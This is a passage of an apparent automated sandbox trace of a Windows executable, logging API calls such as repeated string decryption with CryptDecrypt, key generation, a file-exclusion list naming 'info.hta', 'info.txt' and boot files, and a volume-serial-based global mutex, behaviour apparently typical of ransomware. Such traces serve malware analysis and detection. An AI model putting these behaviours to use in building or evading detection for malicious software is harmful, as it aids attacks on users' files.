Size=0x10) returned 0x88170 [0046.394] CryptImportKey (in: hProv=0xe6710, pbData=0x73f55c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f5c4 | out: phKey=0x73f5c4*=0xf9000) returned 1 [0046.394] CryptSetKeyParam (hKey=0xf9000, dwParam=0x1, pbData=0x73f5ac, dwFlags=0x0) returned 1 [0046.394] CryptDecrypt (in: hKey=0xf9000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88170, pdwDataLen=0x73f578 | out: pbData=0x88170, pdwDataLen=0x73f578) returned 1 [0046.394] CryptDestroyKey (hKey=0xf9000) returned 1 [0046.394] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x88188 [0046.394] CryptImportKey (in: hProv=0xe6710, pbData=0x73f554, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f5bc | out: phKey=0x73f5bc*=0xf9000) returned 1 [0046.394] CryptSetKeyParam (hKey=0xf9000, dwParam=0x1, pbData=0x73f5a4, dwFlags=0x0) returned 1 [0046.394] CryptDecrypt (in: hKey=0xf9000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88188, pdwDataLen=0x73f570 | out: pbData=0x88188, pdwDataLen=0x73f570) returned 1 [0046.395] CryptDestroyKey (hKey=0xf9000) returned 1 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x81038 [0046.395] CryptImportKey (in: hProv=0xe6710, pbData=0x73f54c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f5b4 | out: phKey=0x73f5b4*=0xf9400) returned 1 [0046.395] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f59c, dwFlags=0x0) returned 1 [0046.395] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81038, pdwDataLen=0x73f568 | out: pbData=0x81038, pdwDataLen=0x73f568) returned 1 [0046.395] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x881a0 [0046.395] CryptImportKey (in: hProv=0xe6710, pbData=0x73f544, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f5ac | out: phKey=0x73f5ac*=0xf9400) returned 1 [0046.395] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f594, dwFlags=0x0) returned 1 [0046.395] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x881a0, pdwDataLen=0x73f560 | out: pbData=0x881a0, pdwDataLen=0x73f560) returned 1 [0046.395] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x70) returned 0x812b0 [0046.395] CryptImportKey (in: hProv=0xe6710, pbData=0x73f53c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f5a4 | out: phKey=0x73f5a4*=0xf9400) returned 1 [0046.395] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f58c, dwFlags=0x0) returned 1 [0046.395] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x812b0, pdwDataLen=0x73f558 | out: pbData=0x812b0, pdwDataLen=0x73f558) returned 1 [0046.395] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.395] htonl (hostlong=0xb4197730) returned 0x307719b4 [0046.395] CryptGenRandom (in: hProv=0xe6710, dwLen=0x20, pbBuffer=0x73f698 | out: pbBuffer=0x73f698) returned 1 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x28) returned 0x81328 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x881b8 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x4) returned 0x81358 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x14) returned 0x81368 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x88290 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x80) returned 0x87f58 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x88128 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x82) returned 0x89a58 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x882a8 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x4) returned 0x8a420 [0046.395] CryptGenRandom (in: hProv=0x1013a8, dwLen=0x55, pbBuffer=0x73f602 | out: pbBuffer=0x73f602) returned 1 [0046.395] GetLastError () returned 0x0 [0046.395] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x8a340, Size=0x82) returned 0x89668 [0046.395] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x8a290, Size=0x100) returned 0x84e48 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x88278 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x82) returned 0x89ae8 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x88218 [0046.395] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x82) returned 0x89938 [0046.396] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x89668, Size=0x104) returned 0x88708 [0046.396] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x84e48, Size=0x200) returned 0x88818 [0046.396] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x89ae8, Size=0x104) returned 0x84e48 [0046.396] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x87f58, Size=0x100) returned 0x88a20 [0046.396] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8a3d0 | out: hHeap=0x80000) returned 1 [0046.396] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88818 | out: hHeap=0x80000) returned 1 [0046.396] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88200 | out: hHeap=0x80000) returned 1 [0046.396] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x87fe0 | out: hHeap=0x80000) returned 1 [0046.396] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x881d0 | out: hHeap=0x80000) returned 1 [0046.396] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88068 | out: hHeap=0x80000) returned 1 [0046.396] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x881e8 | out: hHeap=0x80000) returned 1 [0046.396] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88708 | out: hHeap=0x80000) returned 1 [0046.396] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x882c0 | out: hHeap=0x80000) returned 1 [0046.396] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0046.396] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88278 | out: hHeap=0x80000) returned 1 [0046.396] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x89938 | out: hHeap=0x80000) returned 1 [0046.397] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88218 | out: hHeap=0x80000) returned 1 [0046.397] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81358 | out: hHeap=0x80000) returned 1 [0046.397] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x881b8 | out: hHeap=0x80000) returned 1 [0046.397] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x89a58 | out: hHeap=0x80000) returned 1 [0046.397] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88128 | out: hHeap=0x80000) returned 1 [0046.397] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88a20 | out: hHeap=0x80000) returned 1 [0046.397] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88290 | out: hHeap=0x80000) returned 1 [0046.397] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8a420 | out: hHeap=0x80000) returned 1 [0046.397] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x882a8 | out: hHeap=0x80000) returned 1 [0046.397] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81328 | out: hHeap=0x80000) returned 1 [0046.397] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81368 | out: hHeap=0x80000) returned 1 [0046.397] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0xa4) returned 0x87f58 [0046.397] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x62) returned 0x81328 [0046.397] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x81328, Size=0xc2) returned 0x88008 [0046.397] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x88140 [0046.397] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0xb40) returned 0x88708 [0046.397] CryptImportKey (in: hProv=0xe6710, pbData=0x73f534, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f59c | out: phKey=0x73f59c*=0xf90c0) returned 1 [0046.397] CryptSetKeyParam (hKey=0xf90c0, dwParam=0x1, pbData=0x73f584, dwFlags=0x0) returned 1 [0046.397] CryptDecrypt (in: hKey=0xf90c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88708, pdwDataLen=0x73f550 | out: pbData=0x88708, pdwDataLen=0x73f550) returned 1 [0046.397] CryptDestroyKey (hKey=0xf90c0) returned 1 [0046.397] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x88200 [0046.397] CryptImportKey (in: hProv=0xe6710, pbData=0x73f52c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f594 | out: phKey=0x73f594*=0xf9400) returned 1 [0046.397] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f57c, dwFlags=0x0) returned 1 [0046.397] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88200, pdwDataLen=0x73f548 | out: pbData=0x88200, pdwDataLen=0x73f548) returned 1 [0046.397] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.397] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x81328 [0046.397] CryptImportKey (in: hProv=0xe6710, pbData=0x73f504, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f56c | out: phKey=0x73f56c*=0xf9000) returned 1 [0046.397] CryptSetKeyParam (hKey=0xf9000, dwParam=0x1, pbData=0x73f554, dwFlags=0x0) returned 1 [0046.397] CryptDecrypt (in: hKey=0xf9000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81328, pdwDataLen=0x73f520 | out: pbData=0x81328, pdwDataLen=0x73f520) returned 1 [0046.397] CryptDestroyKey (hKey=0xf9000) returned 1 [0046.397] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x84) returned 0x898a8 [0046.397] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x84) returned 0x89278 [0046.397] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x84e48 [0046.397] CryptImportKey (in: hProv=0xe6710, pbData=0x73f4dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f544 | out: phKey=0x73f544*=0xf9400) returned 1 [0046.397] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f52c, dwFlags=0x0) returned 1 [0046.398] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0x73f4f8 | out: pbData=0x84e48, pdwDataLen=0x73f4f8) returned 1 [0046.398] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.398] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0046.398] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x898a8, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0046.398] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x89278 | out: hHeap=0x80000) returned 1 [0046.398] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81328 | out: hHeap=0x80000) returned 1 [0046.398] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x880d8 [0046.398] CryptImportKey (in: hProv=0xe6710, pbData=0x73f500, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f568 | out: phKey=0x73f568*=0xf9400) returned 1 [0046.398] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f550, dwFlags=0x0) returned 1 [0046.398] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x880d8, pdwDataLen=0x73f51c | out: pbData=0x880d8, pdwDataLen=0x73f51c) returned 1 [0046.398] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.398] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x18) returned 0x81328 [0046.398] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x18) returned 0x81348 [0046.398] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x84e48 [0046.398] CryptImportKey (in: hProv=0xe6710, pbData=0x73f4d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f540 | out: phKey=0x73f540*=0xf9500) returned 1 [0046.398] CryptSetKeyParam (hKey=0xf9500, dwParam=0x1, pbData=0x73f528, dwFlags=0x0) returned 1 [0046.398] CryptDecrypt (in: hKey=0xf9500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0x73f4f4 | out: pbData=0x84e48, pdwDataLen=0x73f4f4) returned 1 [0046.398] CryptDestroyKey (hKey=0xf9500) returned 1 [0046.398] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0046.398] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x81328, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0046.398] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81348 | out: hHeap=0x80000) returned 1 [0046.398] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x880d8 | out: hHeap=0x80000) returned 1 [0046.398] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20a) returned 0x8afc0 [0046.398] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20a) returned 0x8b1d8 [0046.398] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8b1d8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe")) returned 0x28 [0046.398] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b1d8 | out: hHeap=0x80000) returned 1 [0046.398] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0xb38) returned 0x8b1d8 [0046.398] GetLastError () returned 0x0 [0046.398] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x89938, Size=0xa8) returned 0x84e48 [0046.398] GetLastError () returned 0x0 [0046.400] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xd64 Thread: id = 3 os_tid = 0x540 [0036.017] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x84e48 [0036.017] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0xf9400) returned 1 [0036.017] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0036.017] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0xd8fe6c | out: pbData=0x84e48, pdwDataLen=0xd8fe6c) returned 1 [0036.017] CryptDestroyKey (hKey=0xf9400) returned 1 [0036.017] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x84e70 [0036.017] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x84e98 [0036.017] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x84ec0 [0036.017] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0xf9400) returned 1 [0036.017] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0036.017] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84ec0, pdwDataLen=0xd8fe44 | out: pbData=0x84ec0, pdwDataLen=0xd8fe44) returned 1 [0036.017] CryptDestroyKey (hKey=0xf9400) returned 1 [0036.017] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84ec0 | out: hHeap=0x80000) returned 1 [0036.017] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x84e70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.017] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e98 | out: hHeap=0x80000) returned 1 [0036.017] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0036.017] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.017] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e70 | out: hHeap=0x80000) returned 1 [0036.017] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x84e48 [0036.017] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0xf9000) returned 1 [0036.018] CryptSetKeyParam (hKey=0xf9000, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0036.018] CryptDecrypt (in: hKey=0xf9000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0xd8fea0 | out: pbData=0x84e48, pdwDataLen=0xd8fea0) returned 1 [0036.018] CryptDestroyKey (hKey=0xf9000) returned 1 [0036.018] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x84e90 [0036.018] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x0 [0036.018] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773000") returned 0x21c [0036.018] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0x0) returned 0x0 [0036.018] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0036.018] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e90 | out: hHeap=0x80000) returned 1 [0036.018] ReleaseMutex (hMutex=0x21c) returned 1 [0036.018] CloseHandle (hObject=0x21c) returned 1 [0036.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1081f44, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c [0036.019] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x84e48 [0036.019] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0xf9400) returned 1 [0036.019] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0036.019] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0xd8fe6c | out: pbData=0x84e48, pdwDataLen=0xd8fe6c) returned 1 [0036.019] CryptDestroyKey (hKey=0xf9400) returned 1 [0036.019] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x84e70 [0036.019] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x84e98 [0036.019] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x84ec0 [0036.019] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0xf8f80) returned 1 [0036.019] CryptSetKeyParam (hKey=0xf8f80, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0036.019] CryptDecrypt (in: hKey=0xf8f80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84ec0, pdwDataLen=0xd8fe44 | out: pbData=0x84ec0, pdwDataLen=0xd8fe44) returned 1 [0036.019] CryptDestroyKey (hKey=0xf8f80) returned 1 [0036.019] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84ec0 | out: hHeap=0x80000) returned 1 [0036.019] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x84e70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.019] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e98 | out: hHeap=0x80000) returned 1 [0036.019] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0036.019] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.019] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e70 | out: hHeap=0x80000) returned 1 [0036.019] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x84e48 [0036.019] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0xf9480) returned 1 [0036.019] CryptSetKeyParam (hKey=0xf9480, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0036.019] CryptDecrypt (in: hKey=0xf9480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0xd8fea0 | out: pbData=0x84e48, pdwDataLen=0xd8fea0) returned 1 [0036.020] CryptDestroyKey (hKey=0xf9480) returned 1 [0036.020] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x84e90 [0036.020] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x0 [0036.020] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773000") returned 0x220 [0036.020] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x0 [0036.020] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0036.020] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e90 | out: hHeap=0x80000) returned 1 [0036.020] ReleaseMutex (hMutex=0x220) returned 1 [0036.020] CloseHandle (hObject=0x220) returned 1 [0036.020] Sleep (dwMilliseconds=0x3e8) [0037.084] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x84e48 [0037.084] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0xf9400) returned 1 [0037.084] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0037.084] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0xd8fe6c | out: pbData=0x84e48, pdwDataLen=0xd8fe6c) returned 1 [0037.084] CryptDestroyKey (hKey=0xf9400) returned 1 [0037.084] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x84e70 [0037.084] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x84e98 [0037.085] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x84ec0 [0037.085] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0xf9500) returned 1 [0037.085] CryptSetKeyParam (hKey=0xf9500, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0037.085] CryptDecrypt (in: hKey=0xf9500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84ec0, pdwDataLen=0xd8fe44 | out: pbData=0x84ec0, pdwDataLen=0xd8fe44) returned 1 [0037.085] CryptDestroyKey (hKey=0xf9500) returned 1 [0037.085] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84ec0 | out: hHeap=0x80000) returned 1 [0037.085] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x84e70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0037.085] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e98 | out: hHeap=0x80000) returned 1 [0037.085] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0037.085] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0037.085] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e70 | out: hHeap=0x80000) returned 1 [0037.085] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x84e48 [0037.085] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0xf9000) returned 1 [0037.085] CryptSetKeyParam (hKey=0xf9000, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0037.085] CryptDecrypt (in: hKey=0xf9000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0xd8fea0 | out: pbData=0x84e48, pdwDataLen=0xd8fea0) returned 1 [0037.085] CryptDestroyKey (hKey=0xf9000) returned 1 [0037.085] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x84e90 [0037.085] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x220 [0037.085] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0037.085] CloseHandle (hObject=0x220) returned 1 [0037.085] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0037.085] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e90 | out: hHeap=0x80000) returned 1 [0037.086] Sleep (dwMilliseconds=0x3e8) [0038.132] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x84e48 [0038.132] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: 